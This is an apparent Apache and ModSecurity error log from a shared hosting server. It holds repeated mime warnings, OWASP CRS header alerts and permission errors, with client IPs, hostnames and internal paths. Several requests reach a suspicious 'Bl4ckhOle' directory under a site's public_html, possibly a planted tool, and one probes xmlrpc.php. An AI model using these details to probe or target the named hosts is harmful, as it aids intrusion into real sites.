[Fri Jul 17 10:03:30.818108 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818138 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818157 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818175 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818193 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818220 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818238 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818255 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818283 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818301 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818319 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818339 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818357 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818385 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818409 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818427 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818445 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818463 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818491 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818509 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818527 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818544 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:31.099408 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:31.099506 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:31.394609 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:31.523287 2026] [security2:error] [pid 2060590:tid 2060590] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/Guideline for initial management of anaphylaxis at field settings.pdf"] [unique_id "almwm3v42nOn2tp5Eua2BQAAABA"]
[Fri Jul 17 10:03:31.523786 2026] [security2:error] [pid 2060590:tid 2060590] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/Guideline for initial management of anaphylaxis at field settings.pdf"] [unique_id "almwm3v42nOn2tp5Eua2BQAAABA"]
[Fri Jul 17 10:03:31.524192 2026] [security2:error] [pid 2060590:tid 2060590] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/Guideline for initial management of anaphylaxis at field settings.pdf"] [unique_id "almwm3v42nOn2tp5Eua2BQAAABA"]
[Fri Jul 17 10:03:31.697325 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:31.697400 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:31.697433 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:31.697459 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:31.697483 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:31.697521 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:35.275980 2026] [security2:error] [pid 2063889:tid 2063889] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_6404462a1d1da_strengthening_nchis-dghs.pdf"] [unique_id "almwn-m5CUZD8nfUE72vJwAAAAo"]
[Fri Jul 17 10:03:35.276369 2026] [security2:error] [pid 2063889:tid 2063889] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_6404462a1d1da_strengthening_nchis-dghs.pdf"] [unique_id "almwn-m5CUZD8nfUE72vJwAAAAo"]
[Fri Jul 17 10:03:35.276749 2026] [security2:error] [pid 2063889:tid 2063889] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_6404462a1d1da_strengthening_nchis-dghs.pdf"] [unique_id "almwn-m5CUZD8nfUE72vJwAAAAo"]
[Fri Jul 17 10:03:42.950415 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:43.072227 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:43.158947 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:43.172512 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:43.240679 2026] [security2:error] [pid 2065293:tid 2065293] [client 47.82.52.69:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/0000:00:01.2/firmware_node/physical_node/subsystem/drivers/"] [unique_id "almwp3qWRBnLzLzgwXgzeAAAAAQ"]
[Fri Jul 17 10:03:43.240708 2026] [security2:error] [pid 2065293:tid 2065293] [client 47.82.52.69:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/0000:00:01.2/firmware_node/physical_node/subsystem/drivers/"] [unique_id "almwp3qWRBnLzLzgwXgzeAAAAAQ"]
[Fri Jul 17 10:03:43.318028 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:43.463681 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:44.790637 2026] [mime:warn] [pid 2064882:tid 2064882] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:44.922452 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:44.993857 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:45.176487 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:45.179605 2026] [security2:error] [pid 2050576:tid 2050576] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/immunization_clinic_in_hospital.pdf"] [unique_id "almwqZuhBssQvDAz4zCtRgAAABI"]
[Fri Jul 17 10:03:45.179998 2026] [security2:error] [pid 2050576:tid 2050576] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/immunization_clinic_in_hospital.pdf"] [unique_id "almwqZuhBssQvDAz4zCtRgAAABI"]
[Fri Jul 17 10:03:45.180325 2026] [security2:error] [pid 2050576:tid 2050576] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/immunization_clinic_in_hospital.pdf"] [unique_id "almwqZuhBssQvDAz4zCtRgAAABI"]
[Fri Jul 17 10:03:45.180594 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:45.188514 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:45.202374 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:45.308330 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:45.327459 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:45.371443 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:45.414015 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:45.424634 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:45.504270 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:45.516339 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:46.617083 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:46.710582 2026] [mime:warn] [pid 2064882:tid 2064882] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:46.794599 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:47.003256 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:47.049803 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:47.074755 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:47.075497 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:47.240424 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:47.441114 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:47.559812 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:47.820107 2026] [security2:error] [pid 2064883:tid 2064883] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/attachments/article/182/2007 AFP Surveillance Report.pdf\\xef\\xbf\\xbd"] [unique_id "almwqwgUGKrGY1YsJl1uEQAAAAY"]
[Fri Jul 17 10:03:47.820484 2026] [security2:error] [pid 2064883:tid 2064883] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/attachments/article/182/2007 AFP Surveillance Report.pdf\\xef\\xbf\\xbd"] [unique_id "almwqwgUGKrGY1YsJl1uEQAAAAY"]
[Fri Jul 17 10:03:47.820818 2026] [security2:error] [pid 2064883:tid 2064883] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/attachments/article/182/2007 AFP Surveillance Report.pdf\\xef\\xbf\\xbd"] [unique_id "almwqwgUGKrGY1YsJl1uEQAAAAY"]
[Fri Jul 17 10:03:48.914689 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:49.227965 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:49.406046 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:52.422553 2026] [mime:warn] [pid 2064882:tid 2064882] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:52.633879 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:52.937174 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:52.937267 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:52.937335 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:52.937387 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:52.937435 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:52.937471 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:52.937506 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:52.937561 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:52.937601 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:52.937663 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:52.937710 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:52.937744 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:52.937778 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:53.237491 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:53.548727 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:53.840997 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:54.140211 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:54.366468 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:54.594239 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:54.594316 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:54.820252 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:54.986779 2026] [core:error] [pid 2050576:tid 2050576] (13)Permission denied: [client 57.141.18.10:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory5/subsystem/devices/memory122/node0/memory0/subsystem/devices/memory99/subsystem/uevent
[Fri Jul 17 10:03:56.734579 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:02.700195 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:02.700274 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:02.861004 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:03.097217 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:03.334992 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:03.564948 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:03.791234 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:04.023886 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:04.023961 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:04.023990 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:04.024028 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:04.024062 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:04.024102 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:04.024128 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:04.024154 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:04.024183 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:04.024207 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:04.024231 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:04.024269 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:04.024294 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:04.207198 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:04.438506 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:04.438611 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:04.585610 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:08.232985 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:47048] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:04:11.943173 2026] [security2:error] [pid 2064879:tid 2064879] [client 103.135.95.46:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "bostonlanka.com"] [uri "/xmlrpc.php"] [unique_id "almww2Tem5UnhuySh-0nsgAAAAA"]
[Fri Jul 17 10:04:11.943222 2026] [security2:error] [pid 2064879:tid 2064879] [client 103.135.95.46:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "bostonlanka.com"] [uri "/xmlrpc.php"] [unique_id "almww2Tem5UnhuySh-0nsgAAAAA"]
[Fri Jul 17 10:04:12.360937 2026] [ssl:error] [pid 2064883:tid 2064883] (70014)End of file found: [client 66.85.158.91:35640] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:04:13.027782 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:14.137441 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almwxol9vhFBGA6D8l-GWwAAAAw"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 10:04:14.137476 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almwxol9vhFBGA6D8l-GWwAAAAw"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 10:04:17.964236 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:35886] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:04:19.830677 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:35998] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:04:23.081563 2026] [security2:error] [pid 2050576:tid 2050576] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almwz5uhBssQvDAz4zCtWgAAABI"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
